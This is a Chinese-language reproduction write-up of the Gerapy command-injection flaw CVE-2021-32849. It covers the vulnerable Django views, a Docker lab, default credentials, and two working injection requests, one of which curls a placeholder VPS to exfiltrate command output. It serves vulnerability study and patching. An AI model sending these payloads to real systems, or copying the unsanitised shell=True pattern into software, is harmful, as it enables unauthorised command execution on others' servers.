# Gerapy project_clone & project_parse 后台远程命令执行漏洞 CVE-2021-32849 ## 漏洞描述 Gerapy 是一款基于 Scrapy、Scrapyd、Django 和 Vue.js 的分布式爬虫管理框架。 Gerapy < 0.9.9 存在远程命令执行漏洞,函数 `project_clone` 和 `project_parse` 在处理数据时容易受到命令注入攻击,经过身份验证的攻击者可以在系统上执行任意命令。 参考链接: - https://securitylab.github.com/advisories/GHSL-2021-076-gerapy/ - https://github.com/Gerapy/Gerapy/security/advisories/GHSA-756h-r2c9-qp5j - https://github.com/Gerapy/Gerapy/issues/197 - https://github.com/Gerapy/Gerapy/issues/217 ## 漏洞影响 ``` Gerapy < 0.9.9 ``` ## 网络测绘 ``` title="Gerapy" ``` ## 环境搭建 docker-compose.yml ``` version: "3.9" services: gerapy: image: germey/gerapy:0.9.6 build: . container_name: gerapy restart: always volumes: - gerapy:/home/gerapy ports: - 8000:8000 volumes: gerapy: ``` 执行如下命令启动一个 Gerapy 0.9.6 版本的服务器: ``` docker-compose up -d ``` 启动完成后,访问 `http://your-ip:8000` 即可查看登录页面,通过默认口令 `admin/admin` 登录后台。 ![](images/Gerapy%20project_clone%20&%20project_parse%20后台远程命令执行漏洞%20CVE-2021-32849/image-20250516163736075.png) ## 漏洞复现 ### 问题 1:`project_clone` [漏洞点](https://github.com/Gerapy/Gerapy/blob/af5657354aa040d5a6b52c91a837f5d63422d6d3/gerapy/server/core/views.py#L339) 位于 `gerapy/server/core/views.py`: ``` @api_view(['POST']) @permission_classes([IsAuthenticated]) def project_clone(request): """ clone project from github :param request: request object :return: json """ if request.method == 'POST': data = json.loads(request.body) # NOTE(1): Address comes from the post's body. address = data.get('address') if not address.startswith('http'): return JsonResponse({'status': False}) address = address + '.git' if not address.endswith('.git') else address # NOTE(2): Address is used to build a command without sanitization. cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem)) logger.debug('clone cmd %s', cmd) # NOTE(3): Command is executed. p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read()) logger.debug('clone run result %s', stdout) if stderr: logger.error(stderr) return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False}) ``` ![](images/Gerapy%20project_clone%20&%20project_parse%20后台远程命令执行漏洞%20CVE-2021-32849/image-20250516164053148.png) `address` 为可控参数,构造请求包: ``` POST /api/project/clone HTTP/1.1 Host: your-ip:8000 Accept: */* Referer: http://your-ip:8000/ Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Content-Type: application/json;charset=UTF-8 Authorization: Token e8279162677dd4fbfefe352b0f51ea8ad19cace5 {"address":"http://127.0.0.1;curl your-vps-ip:9999?`id`"} ``` 成功执行: ![](images/Gerapy%20project_clone%20&%20project_parse%20后台远程命令执行漏洞%20CVE-2021-32849/image-20250516165019665.png) ### 问题 2:`project_parse` [漏洞点](https://github.com/Gerapy/Gerapy/blob/af5657354aa040d5a6b52c91a837f5d63422d6d3/gerapy/server/core/views.py#L539) 位于 `gerapy/server/core/views.py`: ``` @api_view(['POST']) @permission_classes([IsAuthenticated]) def project_parse(request, project_name): """ parse project :param request: request object :param project_name: project name :return: requests, items, response """ if request.method == 'POST': project_path = join(PROJECTS_FOLDER, project_name) # NOTE(1) data = json.loads(request.body) logger.debug('post data %s', data) spider_name = data.get('spider') args = { 'start': data.get('start', False), 'method': data.get('method', 'GET'), 'url': data.get('url'), 'callback': data.get('callback'), 'cookies': "'" + json.dumps(data.get('cookies', {}), ensure_ascii=False) + "'", 'headers': "'" + json.dumps(data.get('headers', {}), ensure_ascii=False) + "'", 'meta': "'" + json.dumps(data.get('meta', {}), ensure_ascii=False) + "'", 'dont_filter': data.get('dont_filter', False), 'priority': data.get('priority', 0), } # set request body body = data.get('body', '') if args.get('method').lower() != 'get': args['body'] = "'" + json.dumps(body, ensure_ascii=False) + "'" # NOTE(2) args_cmd = ' '.join( ['--{arg} {value}'.format(arg=arg, value=value) for arg, value in args.items()]) logger.debug('args cmd %s', args_cmd) cmd = 'gerapy parse {args_cmd} {project_path} {spider_name}'.format( args_cmd=args_cmd, project_path=project_path, spider_name=spider_name ) logger.debug('parse cmd %s', cmd) # NOTE(3) p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=True) stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read()) logger.debug('stdout %s, stderr %s', stdout, stderr) if not stderr: return JsonResponse({'status': True, 'result': json.loads(stdout)}) else: return JsonResponse({'status': False, 'message': stderr}) ``` ![](images/Gerapy%20project_clone%20&%20project_parse%20后台远程命令执行漏洞%20CVE-2021-32849/image-20250516165224445.png) 构造请求包: ``` POST /api/project/1/parse HTTP/1.1 Host: your-ip:8000 Accept: */* Referer: http://your-ip:8000/ Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Content-Type: application/json;charset=UTF-8 Authorization: Token e8279162677dd4fbfefe352b0f51ea8ad19cace5 {"spider":"`id`"} ``` ![](images/Gerapy%20project_clone%20&%20project_parse%20后台远程命令执行漏洞%20CVE-2021-32849/image-20250516165506340.png) ## 漏洞修复 升级至安全版本。